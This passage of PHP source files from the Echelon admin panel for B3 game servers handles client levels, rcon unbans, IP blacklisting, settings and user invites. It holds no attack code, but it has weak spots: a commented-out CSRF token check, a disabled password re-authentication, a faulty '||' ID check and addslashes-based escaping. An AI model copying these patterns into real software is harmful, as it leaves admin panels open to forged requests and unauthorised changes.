token is corret\r\n\tif(verifyFormToken('greeting', $tokens) == false) // verify token\r\n\t\tifTokenBad('Add comment');\r\n\r\n\t$greeting = cleanvar($_POST['greeting']);\r\n\t$client_id = cleanvar($_POST['cid']);\r\n\t\r\n\t// NOTE: allow for an empty comment. An empty comment means no comment\r\n\temptyInput($client_id, 'data not sent');\r\n\r\n\tif(!isID($client_id))\r\n\t\tsendBack('Invalid data sent, greeting not changed');\r\n\t\r\n\t## Add Log Message ##\r\n\t$comment = 'Greeting message changed';\r\n\t$dbl->addEchLog('Greeting', $comment, $client_id, $mem->id);\t\r\n\t\t\r\n\t## Query ##\r\n\t$query = \"UPDATE clients SET greeting = ? WHERE id = ? LIMIT 1\";\r\n\t$stmt = $db->mysql->prepare($query) or sendBack('Database Error');\r\n\t$stmt->bind_param('si', $greeting, $client_id);\r\n\t$stmt->execute();\r\n\tif($stmt->affected_rows)\r\n\t\tsendGood('Greeting has been updated');\r\n\telse\r\n\t\tsendBack('Greeting was not updated');\r\n\t\r\n\t$stmt->close(); // close connection\r\n\r\nelse :\r\n\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../../index.php');\r\n\r\nendif;", "echelon/actions/b3/level.php": "<?php\r\n## NOTE: this page deals with both the request from the change client user level as well the requests to change a user's mask level ##\r\nif($_POST['level-sub']) // what kind of request is it\r\n\t$is_mask = false;\r\nelse\r\n\t$is_mask = true;\r\n\r\nif(!$is_mask) // check which auth level is needed\r\n\t$auth_name = 'edit_client_level';\r\nelse\r\n\t$auth_name = 'edit_mask';\r\n\t\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\n## check that the sent form token is corret\r\nif(!$is_mask) {\r\n\tif(verifyFormToken('level', $tokens) == false) // verify token\r\n\t\tifTokenBad('Change client level');\r\n} else {\r\n\tif(verifyFormToken('mask', $tokens) == false) // verify token\r\n\t\tifTokenBad('Change client mask level');\r\n}\r\n\r\n## Set and clean vars ##\r\n$level = cleanvar($_POST['level']);\r\n$client_id = cleanvar($_POST['cid']);\r\n$old_level = cleanvar($_POST['old-level']);\r\n$password = cleanvar($_POST['password']);\r\n\r\n## Check Empties ##\r\nemptyInput($level, 'data not sent');\r\nemptyInput($client_id, 'data not sent');\r\nemptyInput($old_level, 'data not sent');\r\nif(!$is_mask) // only the client level needs a password\r\n\temptyInput($password, 'current password');\r\n\r\n## Check if the client_id is numeric ##\r\nif(!isID($client_id))\r\n\tsendBack('Invalid data sent, greeting not changed');\r\n\r\n## Do some mojo with the B3 group information ##\r\n$b3_groups = $db->getB3Groups();\r\n\r\n// change around the recieved data\r\n$b3_groups_id = array();\r\nforeach($b3_groups as $group) :\r\n\tarray_push($b3_groups_id, $group['id']); // make an array of all the group_bits that exsist\r\n\t$b3_groups_name[$group['id']] = $group['name']; // make an array of group_bits to matching names\r\nendforeach;\r\n\r\n// Check if the group_bits provided match a known group (Known groups is a list of groups pulled from the DB -- this allow more control for custom groups)\r\nif(!in_array($level, $b3_groups_id))\r\n\tsendBack('That group does not exist, please submit a real group');\r\n\r\n## Check that authorisation passsword is correct ##\r\nif($config['cosmos']['pw_req_level'] == 1 && !$is_mask) : // if requiring a pw auth for edit-level is on or off\r\n\tif($level >= $config['cosmos']['pw_req_level_group']) // site setting to see if only certain levels need a pw check and if the selected level is above the threshold\r\n\t\t$mem->reAuthUser($password, $dbl);\r\nendif;\r\n\r\n## Add Echelon Log ##\r\n$level_name = $b3_groups_name[$level];\r\n$old_level_name = $b3_groups_name[$old_level];\r\n\r\nif(!$is_mask)\r\n\t$comment = 'User level changed from '. $old_level_name .' to '. $level_name;\r\nelse\r\n\t$comment = 'Mask level changed from '. $old_level_name .' to '. $level_name;\r\n\r\n$dbl->addEchLog('Level Change', $comment, $client_id, $mem->id);\r\n\r\n## Query Section ##\r\nif(!$is_mask)\r\n\t$query = \"UPDATE clients SET group_bits = ? WHERE id = ? LIMIT 1\";\r\nelse\r\n\t$query = \"UPDATE clients SET mask_level = ? WHERE id = ? LIMIT 1\";\r\n\t\r\n$stmt = $db->mysql->prepare($query) or sendBack('Database Error');\r\n$stmt->bind_param('ii', $level, $client_id);\r\n$stmt->execute();\r\n\r\nif($is_mask)\r\n\t$msg_st = 'Mask';\r\nelse\r\n\t$msg_st = 'User';\r\n\r\nif($stmt->affected_rows)\r\n\tsendGood($msg_st.' level has been changed');\r\nelse\r\n\tsendBack($msg_st.' level was not changed');\r\n\r\n$stmt->close(); // close connection", "echelon/actions/b3/unban.php": "<?php\r\n$auth_name = 'unban';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\n## Check the form was submitted ##\r\nif(!$_POST['unban-sub']) { // if the form not is submitted\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../../index.php');\r\n}\r\n\r\n## get vars ##\r\n$ban_id = $_POST['banid'];\r\n$type = cleanvar($_POST['type']);\r\n\r\n## check that the sent form token is correct ##\r\nif(verifyFormToken('unban'.$ban_id, $tokens) == false) // verify token\r\n\tifTokenBad('Unban');\r\n\r\n## Check for empties ##\r\nemptyInput($type, 'data not sent');\r\nemptyInput($ban_id, 'data not sent');\r\n\r\n## Check ban_id is a number ##\r\nif(!isID($ban_id))\r\n\tsendBack('Invalid data sent, ban not added');\r\n\r\n## Send query ##\r\n$results = $db->makePenInactive($ban_id);\r\n\r\nif(!$results) // if bad send back warning\r\n\tsendBack('Penalty has not been removed');\r\n\t\r\n## If a permaban send unban rcon command ##\r\nif($type == 'Ban') :\r\n\r\n\t## Get the PBID of the client ##\r\n\t$pbid = $db->getPBIDfromPID($pen_id);\r\n\t\r\n\t## Loop thro server for this game and send unban command and update ban file\r\n\t$i = 1;\r\n\twhile($i <= $game_num_srvs) :\r\n\r\n\t\tif($config['game']['servers'][$i]['pb_active'] == '1') {\r\n\t\t\t// get the rcon information from the massive config array\r\n\t\t\t$rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n\t\t\t$rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n\t\t\t$rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n\t\t\r\n\t\t\t// PB_SV_BanGuid [guid] [player_name] [IP_Address] [reason]\r\n\t\t\t$command = \"pb_sv_unbanguid \" . $pbid;\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\n\t\t\tsleep(1); // sleep for 1 sec in ordere to the give server some time\r\n\t\t\t$command_upd = \"pb_sv_updbanfile\"; // we need to update the ban files\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command_upd); // send the ban file update command\r\n\t\t}\r\n\r\n\t\t$i++;\r\n\tendwhile;\r\n\r\nendif;\r\n\r\nif($results) // if good results send back good message\r\n\tsendGood('Penalty has been deactivated');\r\n\t\r\nexit;", "echelon/actions/blacklist.php": "<?php\r\n$auth_name = 'siteadmin';\r\nrequire '../inc.php';\r\n\r\n\r\nif($_POST['deact']) { // if this is a deactivation request\r\n\r\n\t$bl_id = $_POST['id'];\r\n\tif(!verifyFormToken('act'.$bl_id, $tokens)) // verify token\r\n\t\tifTokenBad('BL De-activate'); // if bad log and send error\r\n\t\r\n\t$dbl->BLactive($bl_id, false); // run query to deact BL ban\r\n\tsendGood('This blacklist ban has been de-activated');\r\n\texit; // no need to continue\r\n\r\n} elseif($_POST['react']) { // if this is a re-activation request\r\n\r\n\t$bl_id = $_POST['id'];\r\n\tif(!verifyFormToken('act'.$bl_id, $tokens)) // verify token\r\n\t\tifTokenBad('BL De-activate'); // if bad log and send error\r\n\t\r\n\t$dbl->BLactive($bl_id, true); // run query to reactivate BL ban\r\n\tsendGood('This blacklist ban has been re-activiated');\r\n\texit; // no need to continue\r\n\r\n} elseif($_POST['ip']) { // if this is an add request\r\n\t\r\n\tif(!verifyFormToken('addbl', $tokens)) // verify token\r\n\t\tifTokenBad('BL Add'); // if bad log, add hack counter and throw error\r\n\t\r\n\t// set and clean vars\r\n\t$reason = cleanvar($_POST['reason']);\r\n\t$ip = cleanvar($_POST['ip']);\r\n\t\r\n\t// check for empty inputs\r\n\temptyInput($reason, 'the reason');\r\n\temptyInput($ip, 'IP Address');\r\n\t\r\n\t// if reason is default comment msg, send back with error\r\n\tif($reason == \"Enter a reason for this ban...\")\r\n\t\tsendBack('You must add a reason as to why this IP ban is being added');\r\n\t\r\n\t// check if it is a valid IP address\r\n\tif(!filter_var($ip, FILTER_VALIDATE_IP))\r\n\t\tsendBack('That IP address is not valid');\r\n\t\t\r\n\t$whitelist = array('token','reason','ip'); // allow form fields to be sent\r\n\r\n\t// Building an array with the $_POST-superglobal \r\n\tforeach ($_POST as $key=>$item) {\r\n\t\tif(!in_array($key, $whitelist)) {\r\n\t\t\thack(1); // plus 1 to hack counter\r\n\t\t\twriteLog('Add BL - Unknown form fields provided'); // make note of event\r\n\t\t\tsendBack('Unknown Information sent.');\r\n\t\t\texit;\r\n\t\t}\r\n\t} // end foreach\r\n\t\r\n\t## Query Section ##\r\n\t$result = $dbl->blacklist($ip, $reason, $mem->id);\r\n\tif(!$result) // if false\r\n\t\tsendBack('That IP was not added to the blacklist');\r\n\t\r\n\t// if got this far we are doing well so lets send back a good message\r\n\tsendGood('The IP has been added to the banlist');\r\n\texit; // no need to continue\r\n\r\n} else { // if this page was not posted and a user indirectly ends up on this page then sent to SA page with error\r\n\tset_error('Please do not load that page without submitting the ban IP address form');\r\n\tsend('../sa.php');\r\n}", "echelon/actions/edit-me.php": "<?php\r\n$auth_name = 'login';\r\nrequire '../inc.php';\r\n\r\n// set vars\r\n$display = cleanvar($_POST['name']);\r\n$email = cleanvar($_POST['email']);\r\n$cur_pw = cleanvar($_POST['password']);\r\n$change_pw = $_POST['change-pw']; // password is being hashed no need to validate\r\n\r\nif($change_pw == 'on') { // check to see if the password is to be changed\r\n\t$pass1 = $_POST['pass1'];\r\n\t$pass2 = $_POST['pass2'];\r\n\t\r\n\tif(!testPW($pass1)) \r\n\t\tsendBack('Your new password contains illegal characters: = \\' \" or space');\r\n\t\r\n\tif($pass1 != $pass2) // if the passwords don't match send them back\r\n\t\tsendBack('The supplied passwords to do match');\r\n\r\n\temptyInput($pass1, 'your new password');\r\n\t$is_change_pw = true; // this is a change password request aswell\r\n\t\r\n} else // this request requires no password change\r\n\t$is_change_pw = false;\r\n\r\n// check for empty inputs\r\nemptyInput($display, 'display name');\r\nemptyInput($email, 'email');\r\nemptyInput($cur_pw, 'your current password');\r\n\r\n// check the new email address is a valid email address\r\nif(!filter_var($email,FILTER_VALIDATE_EMAIL))\r\n\tsendBack('That email is not valid');\r\n\r\n// check to see by comparing to session vars if the display name and email have been changed\r\nif($display != $mem->name || $email != $mem->email) // sent display name does not match session and same with email\r\n\t$is_change_display_email = true; // this is a change request\r\nelse \r\n\t$is_change_display_email = false; // this is not a change request\r\n\r\n// if display/email not changed and its not a change pw request then return\r\nif( (!$is_change_display_email) && (!$is_change_pw) ) \r\n\tsendBack('You didn\\'t change anything, so Echelon has done nothing');\r\n\r\n## Query Section ##\r\n//$mem->reAuthUser($cur_pw, $dbl); // check user current password is correct\r\n\r\nif($is_change_display_email) : // if the display or email have been altered edit them if not skip this section\r\n\t// update display name and email\r\n\t$results = $dbl->editMe($display, $email, $mem->id);\r\n\tif(!$results) { // if false (if nothing happened)\r\n\t\tsendBack('There was an error updating your email and display name');\r\n\t} else { // its been changed so we must update the session vars\r\n\t\t$_SESSION['email'] = $email;\r\n\t\t$_SESSION['name'] = $display;\r\n\t\t$mem->setName($display);\r\n\t\t$mem->setEmail($email);\r\n\t}\r\nendif;\r\n\r\n## if a change pw request ##\r\nif($is_change_pw) : \r\n\r\n\t$result = $mem->genAndSetNewPW($pass1, $mem->id, $min_pw_len); // function to generate and set a new password\r\n\t\r\n\tif(is_string($result)) // result is either true (success) or an error message (string)\r\n\t\tsendBack($result); \r\nendif;\r\n\r\n ## return good ##\r\nsendGood('Your user information has been successfully updated');", "echelon/actions/settings-game.php": "<?php\r\n$auth_name = 'manage_settings';\r\n$b3_conn = true; // needed to test the B3 DB for a successful connection\r\nrequire '../inc.php';\r\n\r\n## Check that the form was posted and that the user did not just stumble here ##\r\nif(!$_POST['game-settings-sub']) :\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../index.php');\r\nendif;\r\n\r\n## Find Type ##\r\nif($_POST['type'] == 'add')\r\n\t$is_add = true;\r\n\t\r\nelseif($_POST['type'] == 'edit')\r\n\t$is_add = false;\r\n\t\r\nelse\r\n\tsendBack('Missing Data');\r\n\r\n## Check Token ##\r\nif($is_add) {\r\n\t//if(!verifyFormToken('addgame', $tokens)) // verify token\r\n\t\t//ifTokenBad('Add Game');\r\n} else {\r\n\tif(!verifyFormToken('gamesettings', $tokens)) // verify token\r\n\t\tifTokenBad('Game Settings Edit');\r\n}\r\n\r\n## Get Vars ##\r\n$name = cleanvar($_POST['name']);\r\n$name_short = cleanvar($_POST['name-short']);\r\nif($is_add)\r\n\t$game_type = cleanvar($_POST['game-type']);\r\n// DB Vars\r\n$db_host = cleanvar($_POST['db-host']);\r\n$db_user = cleanvar($_POST['db-user']);\r\n$db_pw_cng = cleanvar($_POST['cng-pw']);\r\n$db_pw = cleanvar($_POST['db-pw']);\r\n$db_name = cleanvar($_POST['db-name']);\r\n// plugins enabled\r\n$g_plugins = $_POST['plugins'];\r\n// Verify Password\r\n$password = $_POST['password']; // do not clean passwords\r\n\r\n// Whether to change DB PW or not\r\nif($db_pw_cng == 'on')\r\n\t$change_db_pw = true;\r\nelse\r\n\t$change_db_pw = false;\r\n\r\n\t\r\n## Check for empty vars ##\r\nemptyInput($name, 'game name');\r\nemptyInput($name_short, 'short version of game name');\r\nemptyInput($db_user, 'DB Username');\r\nemptyInput($db_host, 'DB Host');\r\nemptyInput($db_name, 'DB name');\r\n\r\nif( ($change_db_pw == true) && (!$is_add) )\r\n\temptyInput($db_pw, 'DB password');\r\n\r\nif(!$is_add)\r\n\temptyInput($password, 'your current password');\r\n\t\r\nif($is_add) :\r\n\t## Check game is supported ##\r\n\tif(!array_key_exists($game_type, $supported_games))\r\n\t\tsendBack('That game type does not exist, please choose a game');\r\nendif;\r\n\r\nif(!empty($g_plugins)) :\r\n\tforeach($g_plugins as $plugin) :\r\n\t\t$enabled .= $plugin.',';\r\n\tendforeach;\r\n\r\n\t$enabled = substr($enabled, 0, -1); // remove trailing comma\r\nendif;\r\n\r\n## Check that the DB information supplied will make a connection to the B3 database.\r\n$db_test = @new mysqli($db_host, $db_user, $db_pw, $db_name);\r\n\r\nif($db_test->connect_error) // send back with a failed connection message\r\n\tsendBack('<strong>Database Connection Error</strong>\r\n\t\t\t\t<p>The connection information you supplied is incorrect.<br />'.$db_test->connect_error.'</p>'); \r\n\r\n## Update DB ##\r\nif($is_add) : // add game queries\r\n\t$result = $dbl->addGame($name, $game_type, $name_short, $db_host, $db_user, $db_pw, $db_name);\r\n\tif(!$result) // if everything is okay\r\n\t\tsendBack('There is a problem, the game information was not saved.');\r\n\t\r\n\t$dbl->addGameCount(); // Add one to the game counter in config table\t\r\n\t\r\nelse : // edit game queries\r\n\t$mem->reAuthUser($password, $dbl);\r\n\t$result = $dbl->setGameSettings($game, $name, $name_short, $db_user, $db_host, $db_name, $db_pw, $change_db_pw, $enabled); // update the settings in the DB\r\n\tif(!$result)\r\n\t\tsendBack('Something did not update. Did you edit anything?');\r\nendif;\r\n\r\n## Return with result message\r\nif($is_add) {\r\n\tset_good('Game Added');\r\n\tsend('../settings-games.php');\r\n} else \r\n\tsendGood('Your settings have been updated');\r\n", "echelon/actions/settings-server.php": "<?php\r\n$auth_name = 'manage_settings';\r\nrequire '../inc.php';\r\n\r\n## delete server\r\nif($_GET['t'] == 'del') :\r\n\r\n\t// get and check the id sent\r\n\tif(isset($_GET['id']) || isID($_GET['id']))\r\n\t\t$sid = $_GET['id'];\r\n\telse\r\n\t\tsendBack('Vital information needed to delete the server was not sent');\r\n\t\r\n\t## check that the form token is corret\r\n\tif(!verifyFormToken('del-server'.$sid, $tokens)) // verify token\r\n\t\tifTokenBad('Deleting a server');\r\n\t\t\r\n\t$result = $dbl->delServer($sid);\r\n\tif(!$result)\r\n\t\tsendBack('There was a problem with deleting the server');\r\n\t\r\n\t$result = $dbl->delServerUpdateGames($game_id);\r\n\tif(!$result)\r\n\t\tsendBack('There was a problem with deleting the server');\r\n\t\r\n\tsendGood('The server has been deleted');\r\n\t\r\n\texit; // stop - no need to load the rest of the page\r\n\r\nendif;\r\n\r\n## Check that the form was posted and that the user did not just stumble here ##\r\nif(!isset($_POST['server-settings-sub'])) :\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../index.php');\r\nendif;\r\n\r\n## What type of request is it ##\r\nif($_POST['type'] == 'add')\r\n\t$is_add = true;\r\nelseif($_POST['type'] == 'edit')\r\n\t$is_add = false;\r\nelse\r\n\tsendBack('Missing Data');\r\n\r\n## Check Token ##\r\nif($is_add) { // if add server request\r\n\tif(verifyFormToken('addserver', $tokens) == false) // verify token\r\n\t\tifTokenBad('Add Server');\r\n} else { // if edit server settings\r\n\tif(verifyFormToken('editserversettings', $tokens) == false) // verify token\r\n\t\tifTokenBad('Server Settings Edit');\r\n}\r\n\r\n## Get Vars ##\r\n$name = cleanvar($_POST['name']);\r\n$ip = cleanvar($_POST['ip']);\r\n$pb = cleanvar($_POST['pb']);\r\n// DB Vars\r\n$rcon_ip = cleanvar($_POST['rcon-ip']);\r\n$rcon_port = cleanvar($_POST['rcon-port']);\r\n$rcon_pw_cng = cleanvar($_POST['cng-pw']);\r\n$rcon_pw = cleanvar($_POST['rcon-pass']);\r\n$server_id = cleanvar($_POST['server']);\r\n\r\nif($is_add)\r\n\t$game_id = cleanvar($_POST['game-id']);\r\n\r\n// Whether to change RCON PW or not\r\nif($rcon_pw_cng == 'on')\r\n\t$change_rcon_pw = true;\r\nelse\r\n\t$change_rcon_pw = false;\r\n\t\r\n// Whether to change DB PW or not\r\nif($pb == 'on')\r\n\t$pb = 1;\r\nelse\r\n\t$pb = 0;\r\n\r\n## Check for empty vars ##\r\nemptyInput($name, 'server name');\r\nemptyInput($ip, 'server IP');\r\nemptyInput($rcon_ip, 'Rcon IP');\r\nemptyInput($rcon_port, 'Rcon Port');\r\nif($change_rcon_pw == true)\r\n\temptyInput($rcon_pw, 'Rcon password');\r\n\r\n// check that the rcon_ip is valid\r\nif(!filter_var($rcon_ip, FILTER_VALIDATE_IP))\r\n\tsendBack('That Rcon IP Address is not valid');\r\n\t\r\n// check that the rcon_ip is valid\r\nif( (!filter_var($ip, FILTER_VALIDATE_IP)))\r\n\tsendBack('That server IP Address is not valid');\r\n\t\r\n// Check Port is a number between 4-5 digits\r\nif( (!is_numeric($rcon_port)) || (!preg_match('/^[0-9]{4,5}$/', $rcon_port)) )\r\n\tsendBack('Rcon Port must be a number between 4-5 digits');\r\n\r\nif($is_add) : // if is add server request\r\n\tif(!is_numeric($game_id)) // game_id is a digit\r\n\t\tsendBack('Invalid data sent');\r\nendif;\r\n\t\r\n## Update DB ##\r\nif($is_add) :\r\n\t$result = $dbl->addServer($game_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw);\r\n\t$dbl->addServerUpdateGames($game_id);\r\nelse :\r\n\t$result = $dbl->setServerSettings($server_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw, $change_rcon_pw); // update the settings in the DB\r\nendif;\r\n\r\nif(!$result)\r\n\tsendBack('Something did not update');\r\n\r\n## Return ##\r\nif($is_add) {\r\n\tset_good('Server '. $name .' has been added to the database records');\r\n\tsend('../settings-server.php');\r\n} else\r\n\tsendGood('Your settings have been updated');\r\n", "echelon/actions/settings.php": "<?php\r\n$auth_name = 'manage_settings';\r\nrequire '../inc.php';\r\n\r\n## Check that the form was posted and that the user did not just stumble here ##\r\nif(!$_POST['settings-sub']) :\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../index.php');\r\nendif;\r\n\r\n// NOTE: This page only changes the general (cosmos) Echelon settings. There is one exception, 'num_games', num_games is not chnaged by this page\r\n\r\n\r\n## Check Token ##\r\nif(!verifyFormToken('settings', $tokens)) // verify token\r\n\tifTokenBad('Settings Edit');\r\n\r\n## Get Vars ##\r\n$f_name = cleanvar($_POST['name']);\r\n$f_limit_rows = cleanvar($_POST['limit_rows']);\r\n$f_min_pw_len = cleanvar($_POST['min_pw_len']);\r\n$f_user_key_expire = cleanvar($_POST['user_key_expire']);\r\n$f_email = cleanvar($_POST['email']);\r\n$f_admin_name = cleanvar($_POST['admin_name']);\r\n$f_https = cleanvar($_POST['https']);\r\n$f_allow_ie = cleanvar($_POST['allow_ie']);\r\n$f_time_format  = cleanvar($_POST['time_format']);\r\n$f_time_zone = cleanvar($_POST['time_zone']);     \r\n$f_email_header = cleanvar($_POST['email_header']);\r\n$f_email_footer = cleanvar($_POST['email_footer']);\r\n$f_pw_req_level = cleanvar($_POST['pw_req_level']);\r\n$f_pw_req_level_group = cleanvar($_POST['pw_req_level_group']);\r\n\r\n// Verify Password\r\n$password = $_POST['password']; // do not clean passwords\r\n\r\n// Set Checkboxes\r\nif($f_https == 'on')\r\n\t$f_https = 1;\r\nelse\r\n\t$f_https = 0;\r\n\t\r\nif($f_allow_ie == 'on')\r\n\t$f_allow_ie = 1;\r\nelse\r\n\t$f_allow_ie = 0;\r\n\t\r\nif($f_pw_req_level == 'on')\r\n\t$f_pw_req_level = 1;\r\nelse\r\n\t$f_pw_req_level = 0;\r\n\t\r\n## Check for empty vars ##\r\nemptyInput($f_name, 'site name');\r\nemptyInput($f_limit_rows, 'no of rows per table page');\r\nemptyInput($f_min_pw_len, 'minimum password length');\r\nemptyInput($f_user_key_expire, 'user registration key length');\r\nemptyInput($f_email, 'site email');\r\nemptyInput($f_admin_name, 'admin name');\r\nemptyInput($f_time_format, 'time format');\r\nemptyInput($f_time_zone, 'time zone');\r\nemptyInput($f_email_header, 'email header text');\r\nemptyInput($f_email_footer, 'email footer text');\r\nemptyInput($password, 'your current password');\r\n\r\n## Check no. ##\r\nif(!is_numeric($f_limit_rows) || !is_numeric($f_min_pw_len) || !is_numeric($f_user_key_expire) )\r\n\tsendBack('Some of that information is suppose to be a number!');\r\n\t\r\n## Check Email is valid ##\r\nif(!filter_var($f_email, FILTER_VALIDATE_EMAIL)) \r\n\tsendBack('The email supplied is not valid');\r\n\t\r\n## Check that authorisation passsword is correct ##\r\n$mem->reAuthUser($password, $dbl);\r\n\t\r\n## Create array of sent vars ##\r\n$sent_settings = array(\r\n\t'name' => $f_name,\r\n\t'limit_rows' => $f_limit_rows,\r\n\t'min_pw_len' => $f_min_pw_len,\r\n\t'user_key_expire' => $f_user_key_expire,\r\n\t'email' => $f_email,\r\n\t'admin_name' => $f_admin_name,\r\n\t'https' => $f_https,\r\n\t'allow_ie' => $f_allow_ie,\r\n\t'time_format' => $f_time_format,\r\n\t'time_zone' => $f_time_zone,    \r\n\t'email_header' => $f_email_header,\r\n\t'email_footer' => $f_email_footer,\r\n);\r\n\r\n## What needs updating ##\r\n// Check the values sent by the form against what is stored in the database to find out what needs to be updated\r\n// rather than just updating every config settings in the DB\r\n$settings_table = $dbl->getSettings('cosmos'); // get the values of the settings from the config db table\r\n\r\nif(!$no_games) :\r\n\t$sent_settings['pw_req_level'] = $f_pw_req_level;\r\n\t$sent_settings['pw_req_level_group'] = $f_pw_req_level_group;\r\nelse:\t\r\n\t$sent_settings['pw_req_level'] = $settings_table['pw_req_level'];\r\n\t$sent_settings['pw_req_level_group'] = $settings_table['pw_req_level_group'];\r\nendif;\r\n\r\nforeach($sent_settings as $key => $value) :\r\n\tif($sent_settings[$key] != $settings_table[$key])\r\n\t\t$updates[$key] = $value;\r\nendforeach;\r\n\r\n## Update DB ##\r\nforeach($updates as $key => $value) :\r\n\tif($key == 'limit_rows' || $key == 'min_pw_len' || $key == 'user_key_expire' || $key == 'pw_req_level')\r\n\t\t$value_type = 'i';\r\n\telse\r\n\t\t$value_type = 's';\r\n\t\t\r\n\tif($key != 'num_games') // num_games is the only cosmos setting not to be changed by this page\r\n\t\t$result = $dbl->setSettings($value, $key, $value_type); /// update the settings in the DB\r\n\t\r\n\tif($result == false)\r\n\t\tsendBack('Something did not update');\r\n\r\nendforeach;\r\n\r\n## Return ##\r\nsendGood('Your settings have been updated');\r\n", "echelon/actions/user-add.php": "<?php\r\n$auth_name = 'add_user';\r\nrequire '../inc.php';\r\n\r\n## if form is submitted ##\t\r\nif(!isset($_POST['add-user'])) // if this was not a post request then send back with error \r\n\tsendBack('Please do not access that page directly');\r\n\r\n## check that the sent form token is corret\r\nif(!verifyFormToken('adduser', $tokens)) // verify token\r\n\tifTokenBad('Add User');\r\n\r\n// set email and comment and clean\r\n$email = cleanvar($_POST['email']);\r\n$comment = cleanvar($_POST['comment']);\r\n$group = cleanvar($_POST['group']);\r\n\r\n// check the new email address is a valid email address\r\nif(!filter_var($email,FILTER_VALIDATE_EMAIL))\r\n\tsendBack('That email is not valid');\r\n\r\n// Create a unique key for the user\r\n$text = $admin_id.$email.uniqid(microtime(), true).$group; // take sent data and some random data to create a random string\r\n$rand_text = str_shuffle($text); // shuffle the string to make more random\r\n$user_key = genHash($rand_text); // hash the random string to get the user hash\r\n\r\n## email user about the key ##\r\n$body = '<html><body>';\r\n$body .= '<h2>Echelon User Key</h2>';\r\n$body .= $config['cosmos']['email_header'];\r\n$body .= 'This is the key you will need to use to register on Echelon. \r\n\t\t\t<a href=\"http://'.$_SERVER['SERVER_NAME'].PATH.'register.php?key='.$user_key.'&amp;email='.$email.'\">Register here</a>.<br />';\r\n$body .= 'Registration Key: '.$user_key;\r\n$body .= $config['cosmos']['email_footer'];\r\n$body .= '</body></html>';\r\n\r\n// replace %ech_name% in body of email with var from config\r\n$body = preg_replace('#%ech_name%#', $config['cosmos']['name'], $body);\r\n// replace %name%\r\n$body = preg_replace('#%name%#', 'new user', $body);\r\n\r\n$headers = \"From: echelon@\".$_SERVER['HTTP_HOST'].\"\\r\\n\";\r\n$headers .= \"Reply-To: \". EMAIL .\"\\r\\n\";\r\n$headers .= \"MIME-Version: 1.0\\r\\n\";\r\n$headers .= \"Content-Type: text/html; charset=ISO-8859-1\\r\\n\";\r\n$subject = \"Echelon User Registration\";\r\n\r\n// send email\r\nif(!mail($email, $subject, $body, $headers))\r\n\tsendback('There was a problem sending the email.');\r\n\t\r\n## run query to add key to the DB ##\r\n$add_user = $dbl->addEchKey($user_key, $email, $comment, $group, $mem->id);\r\nif(!$add_user)\r\n\tsendBack('There was a problem adding the key into the database');\r\n\r\n// all good send back good message\r\nsendGood('Key Setup and Email has been sent to user');", "echelon/active.php": "<?php\r\n$page = \"active\";\r\n$page_title = \"Inactive Admins\";\r\n$auth_name = 'clients';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\n$pagination = true; // this page requires the pagination part of the footer\r\n$query_normal = true;\r\nrequire 'inc.php';\r\n\r\n##########################\r\n######## Varibles ########\r\n\r\n## Default Vars ##\r\n$orderby = \"time_edit\";\r\n$order = \"asc\";\r\n\r\n$time = time();\r\n$length = 7; // default length in days that the admin must be in active to show on this list\r\n\r\n## Sorts requests vars ##\r\nif($_GET['ob'])\r\n\t$orderby = addslashes($_GET['ob']);\r\n\r\nif($_GET['o']) \r\n\t$order = addslashes($_GET['o']);\r\n\t\r\nif($_GET['d'])\r\n\t$length = addslashes($_GET['d']);\r\n\r\n// allowed things to sort by\r\n$allowed_orderby = array('id', 'name', 'connections', 'group_bits', 'time_edit');\r\nif(!in_array($orderby, $allowed_orderby)) // Check if the sent varible is in the allowed array \r\n\t$orderby = 'time_edit'; // if not just set to default id\r\n\r\n// allowed times to limit by\r\n$allowed_length = array(1, 3, 7, 14, 21, 28, 35, 182, 365);\r\nif(!in_array($length, $allowed_length)) // Check if the sent varible is in the allowed array \r\n\t$length = 7; // reset to default of 7 days\r\n\t\r\n## Page Vars ##\r\nif ($_GET['p'])\r\n  $page_no = addslashes($_GET['p']);\r\n\r\n$start_row = $page_no * $limit_rows;\r\n\r\n\r\n###########################\r\n####### Query Setup #######\r\n\r\n$query = sprintf(\"SELECT c.id, c.name, c.connections, c.time_edit, g.name as level\r\n\tFROM clients c LEFT JOIN groups g ON c.group_bits = g.id\r\n\tWHERE c.group_bits >= 8\r\n\tAND  c.group_bits <=64 AND(%d - c.time_edit > %d*60*60*24 )\", $time, $length);\r\n\r\n$query .= sprintf(\"ORDER BY %s \", $orderby);\r\n\r\n## Append this section to all queries since it is the same for all ##\r\nif($order == \"DESC\")\r\n\t$query .= \" DESC\"; // set to desc \r\nelse\r\n\t$query .= \" ASC\"; // default to ASC if nothing adds up\r\n\r\n$query_limit = sprintf(\"%s LIMIT %s, %s\", $query, $start_row, $limit_rows); // add limit section\r\n\r\n## Require Header ##\r\nrequire 'inc/header.php'; \r\n\r\nif(!$db->error) :\r\n?>\r\n\r\n<table summary=\"A list of <?php echo limit_rows; ?> admins who could be deemed as inactive\">\r\n\t<caption>Inactive Admins<small>There are <strong><?php echo $total_rows; ?></strong> admins who have not been seen by B3 for</small>\r\n\t\t<form action=\"active.php\" method=\"get\" class=\"sm-f-select\">\r\n\t\t\t<select name=\"d\" onchange=\"this.form.submit()\">\r\n\t\t\t\t<option value=\"1\"<?php if($length == '1') echo ' selected=\"selected\"'; ?>>1 Day</option>\r\n\t\t\t\t<option value=\"3\"<?php if($length == '3') echo ' selected=\"selected\"'; ?>>3 Days</option>\r\n\t\t\t\t<option value=\"7\"<?php if($length == '7') echo ' selected=\"selected\"'; ?>>1 Week</option>\r\n\t\t\t\t<option value=\"14\"<?php if($length == '14') echo ' selected=\"selected\"'; ?>>2 